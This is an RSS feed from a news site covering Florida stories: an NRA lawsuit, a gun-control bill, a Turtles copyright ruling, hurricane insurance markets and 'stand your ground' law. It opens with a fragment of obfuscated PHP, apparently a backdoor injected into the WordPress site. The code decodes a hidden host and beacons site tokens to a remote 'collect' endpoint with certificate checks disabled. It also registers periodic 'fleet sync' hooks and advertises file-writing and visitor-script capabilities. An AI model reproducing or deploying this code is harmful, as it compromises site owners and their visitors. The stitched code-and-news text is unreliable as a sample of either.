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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Florida’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Mar 2018 23:32:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Florida’s – Brief News https://briefnews.eu 32 32 NRA files lawsuit over Florida’s ‘unconstitutional’ gun law https://briefnews.eu/nra-files-lawsuit-over-floridas-unconstitutional-gun-law/ https://briefnews.eu/nra-files-lawsuit-over-floridas-unconstitutional-gun-law/#respond Fri, 09 Mar 2018 23:32:20 +0000 http://briefnews.eu/nra-files-lawsuit-over-floridas-unconstitutional-gun-law/

The National Rifle Association has filed a federal lawsuit seeking to block restrictions introduced by the newly-signed Florida gun control legislation, claiming it violates the Second Amendment.

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]]> https://briefnews.eu/nra-files-lawsuit-over-floridas-unconstitutional-gun-law/feed/ 0 Florida’s Republican governor signed a compromise gun-control bill in a major break with the NRA https://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/ https://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/#respond Fri, 09 Mar 2018 20:38:53 +0000 http://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/ rick scottReuters/Joshua Roberts

  • Florida’s Republican governor signed a bill on Friday combining certain gun-control and school-safety measures.
  • The bill broke with the National Rifle Association in raising the minimum age for rifle purchases to 21 from 18.
  • But it also fell short of expectations from survivors of last month’s high-school shooting — they called it a “baby step.”

TALLAHASSEE, Fla. (AP) — Flanked by family members of students who were killed during a mass shooting just over three weeks ago, Florida Gov. Rick Scott on Friday signed a $ 400 million school safety bill in response to the tragedy that killed 17 people at a high school.

He said the bill, which was written since the shooting, balances “our individual rights with need for public safety.”

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]]> https://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/feed/ 0 Florida’s top court stops 1960s band from earning pre-1972 copyright royalties https://briefnews.eu/floridas-top-court-stops-1960s-band-from-earning-pre-1972-copyright-royalties/ https://briefnews.eu/floridas-top-court-stops-1960s-band-from-earning-pre-1972-copyright-royalties/#respond Fri, 27 Oct 2017 12:23:15 +0000 http://briefnews.eu/floridas-top-court-stops-1960s-band-from-earning-pre-1972-copyright-royalties/

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Members of 1960s rock band The Turtles have lost a major legal battle in their quest to collect copyright royalties from their old hit songs.

The Florida Supreme Court held today (PDF) that the state doesn’t recognize any copyrights in pre-1972 music recordings, despite the band’s arguments to the contrary. All seven justices concurred in the ruling.

Flo & Eddie, a company that represents two members of The Turtles, had claimed that even though there is no federal copyright in sound recordings for pre-1972 songs, they are entitled to payments because their songs are protected by state copyrights and common law. The band members sued Sirius XM in 2013, and lawsuits against streaming services like Pandora followed. The major record labels also got involved, essentially copying The Turtles’ strategy, by suing Sirius as well as Pandora.

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]]> https://briefnews.eu/floridas-top-court-stops-1960s-band-from-earning-pre-1972-copyright-royalties/feed/ 0 Florida’s risky real-estate game is protected by a billion-dollar insurance industry — but that could soon change https://briefnews.eu/floridas-risky-real-estate-game-is-protected-by-a-billion-dollar-insurance-industry-but-that-could-soon-change/ https://briefnews.eu/floridas-risky-real-estate-game-is-protected-by-a-billion-dollar-insurance-industry-but-that-could-soon-change/#respond Sat, 07 Oct 2017 02:12:54 +0000 http://briefnews.eu/floridas-risky-real-estate-game-is-protected-by-a-billion-dollar-insurance-industry-but-that-could-soon-change/ florida homeREUTERS/Carlos Barria

After dodging the worst of Hurricane Irma, Florida’s coastal real estate boom shows no signs of slowing.

In Miami and nearby waterfront cities, a survey of local records show that more than 90 luxury high-rise apartment blocks are under construction or have been completed since 2015, increasingly financed by overseas investors looking for “safe” opportunities in a turbulent global economy.

Yet, since 1886, the Sunshine State has been hit with almost twice as many hurricanes as the next two states, Texas and Louisiana. Currently, 2.4 million people and 1.3 million homes sit just 1.2 meters above the high tide line and sea levels are expected to rise up to two meters by the end of the century.

What enables Florida’s staggering growth against environmental odds? The answer, in part, comes down to how property insurance protects the state’s real estate against disasters. In 2015, Floridians spent $ 10.8 billion on homeowners’ insurance to protect more than 6 million properties. The total insured value protected by the state’s homeowners’ market is a soaring $ 2.1 trillion, roughly equal to the annual economic output of India.

I have dedicated the past three years to researching how this massive market works – and whether it can really sustain Florida’s real estate boom in the long run.

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From risk to reward

Property insurance balances Florida’s unusually high vulnerability to natural disasters against the growth pressures of the state’s real estate and construction industry.

By requiring property insurance to protect loans, US mortgage lenders and investors have created a massive insurance market in Florida – and a costly necessity for property owners.

The global insurance-linked securities (ILS) industry plays an increasingly important part in this story, converting Florida’s hurricane risk into an attractive financial asset class.

The catastrophe bond – the most widely used ILS product – was created after Hurricane Andrew’s Miami landfall devastated Florida’s homeowners’ insurance industry in 1992. “Cat bonds” and other types of “alternative” insurance turn investment capital – from pension funds and other firms – into reinsurance, or insurance for insurers.

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Here’s how ILS works: insurance companies send a portion of the premium they collect from property owners to special trust companies in tax-friendly nations such as Bermuda, which then raise money from investors, who agree to repay a given range of losses if disaster strikes.

And if not, investors walk away with the property owner’s premium, plus a tidy profit.

This complex financial market provides nearly $ 90 billion of protection worldwide. Large institutions ranging from the World Bank to the Rockefeller Foundation celebrate ILS as a key financial solution to help humanity adapt to climate change, particularly in developing countries.

Meet the specialists

Despite these global prospects, Florida’s hurricane risk continues to be the bread and butter for ILS investors. According to one of the biggest cat bond investors, up to half of the ILS market’s capital is pooled in the Florida homeowners’ market.

The concentration of ILS capital in Florida can partly be explained by changes to the homeowners’ insurance market, in the 25 years following Hurricane Andrew.

Once led by national firms offering multiple insurance products, the market is now dominated by smaller firms that specialize in Florida homeowners’ insurance. Unable to spread their risk over a nationwide portfolio of business, these Florida “specialists” have become highly dependent on global reinsurers.

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Several Florida specialists have deep relationships with reinsurers, including direct ownership ties and their own private ILS “vehicles”, which enable them to directly transfer billions of dollars of Florida hurricane risk to buyers in dozens of countries.

Ultimately, Wall Street’s growing demand for insurance-based products may be changing the fundamental public purpose of property insurance, from one that aims to protect the wealth of communities, to one that sees insured risk as the fodder for financial speculation.

Some experts have pointed out unsettling parallels between these new financial mechanisms and the lending model that led to the 2008 subprime mortgage crisis.

A high price

The rise of ILS capital has made new financial resources available to Florida’s rocky property insurance market.

But this service has come at a significant cost to homeowners. Floridians pay the highest homeowners’ insurance rates in the nation, while stagnant wages and skyrocketing house prices make south Florida cities among the most unequal in the country.

The billions of dollars that Floridians spend annually on homeowners’ insurance secures financial protection for those fortunate to be property owners. But it does little to fundamentally change the state’s exceptional exposure to disaster.

Florida’s state officials have taken a limited, piecemeal approach to minimizing the state’s vulnerability to sea level rise, while continuing to encourage development in vulnerable areas and directly subsidizing the state’s property insurance market.

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The prospect of stronger and more destructive hurricanes, along with the potential for higher, risk-adjusted insurance rates, could put a massive strain on the affordability of Florida’s housing market in the future.

What’s more, the flow of global investment capital into Florida’s high-risk homeowners’ insurance sector may actually be making the state more vulnerable to hurricanes, by keeping insurers solvent and real estate markets in motion.

Indeed, Hurricane Irma appears unlikely to significantly upset the dynamics within the Florida homeowners’ insurance or global catastrophe reinsurance markets – even if at least one catastrophe bond may have to pay out. The ratings agency A.M. Best estimates that it would take a $ 75 billion insured loss to do so – up to three times the expected US insured losses for Irma.

So the ultimate limits of the multi-billion-dollar ILS market remain untested. But for now, the storm clouds have cleared, and Florida’s real estate boom continues.

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When the National Rifle Association conceived the law known as “stand your ground,” the intention was to protect those who shoot others in self-defense from prosecution.

The hugely consequential law, which has transformed how self-defense shooting cases are treated in two dozen states, came in response to a single incident in which the defendant was never actually prosecuted.

In 2004, in Pensacola, Florida, a 77-year-old man named James Workman mistook for an intruder a drunken government worker who had wandered onto his property after midnight.

To scare the man away, Workman fired a warning shot with his .38-caliber handgun. The government employee, 35-year-old Rodney Cox, ran into Workman’s trailer, where he tried to restrain the older man with a bear hug. Cox was shot twice, and died before reaching the hospital.

After an investigation that spanned less than three months, a state prosecutor declined to bring charges against Workman.

Despite the outcome, the NRA’s powerful Florida lobbyist, Marion Hammer, believed the shooter was treated unfairly, and should have been insulated from standard legal procedure — undergoing an investigation in the wake of a killing — because he was protecting himself. S

he crafted a bill that not only gave the explicit right to use deadly force in the face of a perceived grave threat, even when safe retreat was possible, but provided for immunity from prosecution should a person invoke the statute after shooting someone else. Later dubbed “stand your ground,” it became law in 2005.

The statute’s immunity concept was novel, and is arguably its most important aspect. It allows a defendant to call for a hearing before trial, during which he or she asks a judge for exemption from prosecution.

In these pre-trial hearings, the burden is on the defendant, who must prove to a judge through a preponderance of evidence — a relatively low standard that means more likely than not — that he or she acted lawfully under “stand your ground.”

It is a special allowance under the law afforded only to defendants in self-defense cases.

“Outside of ‘stand your ground,’ I don’t know of any other defense that gives defendants immunity from prosecution,” Glenn Hess, a Florida state attorney and the president of the Florida Prosecuting Attorneys Association, told The Trace. “It’s a free bite of the apple for them.”

Now, the law’s immunity clause is on the verge of becoming even more exceptional, giving another layer of protection to those who invoke the statute after killing or wounding another person. Earlier this month, the Florida legislature passed a bill that shifted the burden of proof in “stand your ground” pre-trial hearings to the prosecution.

If Governor Rick Scott signs the legislation, state attorneys will have to prove to a judge, in a “clear and convincing” manner — a legal bar just below the trial standard of “beyond a reasonable doubt” — that a defendant was not acting in self-defense. It’s a massive hurdle the prosecution must overcome just to go to trial.

“It turns 250 years of jurisprudence on its head,” Andrew Warren, another Florida state attorney, told The Trace. “The preliminary hearing already gave this additional protection to defendants claiming ‘stand your ground.’ Now we’re going several steps past that. It’s going to be much harder. There will be cases where the state cannot make the initial burden.”

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“Stand your ground,” which has been linked to increases in homicide and violent behavior, has already had a profound impact on the ability to successfully prosecute cases in Florida. In 2012, a Tampa Bay Timesinvestigation revealed that almost 70 percent of defendants who invoked the statute went free. Nearly a quarter of those cases were resolved in pre-trial hearings. That number is likely to rise should Scott sign the legislation.

“It’s essentially stacking the deck repeatedly in favor of people shooting other people,” said Mary Anne Franks, a law professor at the University of Miami.

The new bill requires the prosecution to do significantly more in order to simply bring a case to trial. Under the legislation, defendants would be tasked with providing “prima facie” evidence— a term that ultimately means “some”— showing that a “stand your ground” claim could be valid. The requirement can be satisfied through testimony given by the defendant, who might explain his or her state of mind at the time of the incident. Witness testimony or video footage would also suffice as evidence.

Once a judge agrees that a defendant has produced the required evidence, the burden shifts to, and remains with, the prosecution.

“It’s very difficult to get in someone’s head and prove what they were or weren’t thinking,” said Tamara Lave, a legal expert who has studied “stand your ground.”

State attorneys say that, even if prosecutors meet the new burden, they may be forced to tip their hand to what kind of case they will make at trial, potentially giving defense lawyers an advantage.

“The hearings will give lots of opportunities to scope out the lay of the land,” Hess said. “I can assure you the state will challenge the law at some point. Probably the first ‘stand your ground’ case that comes up. It’s going to end up in the Supreme Court.”

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Florida officials say they’re continuing aggressive efforts to stop the spread of the Zika virus.

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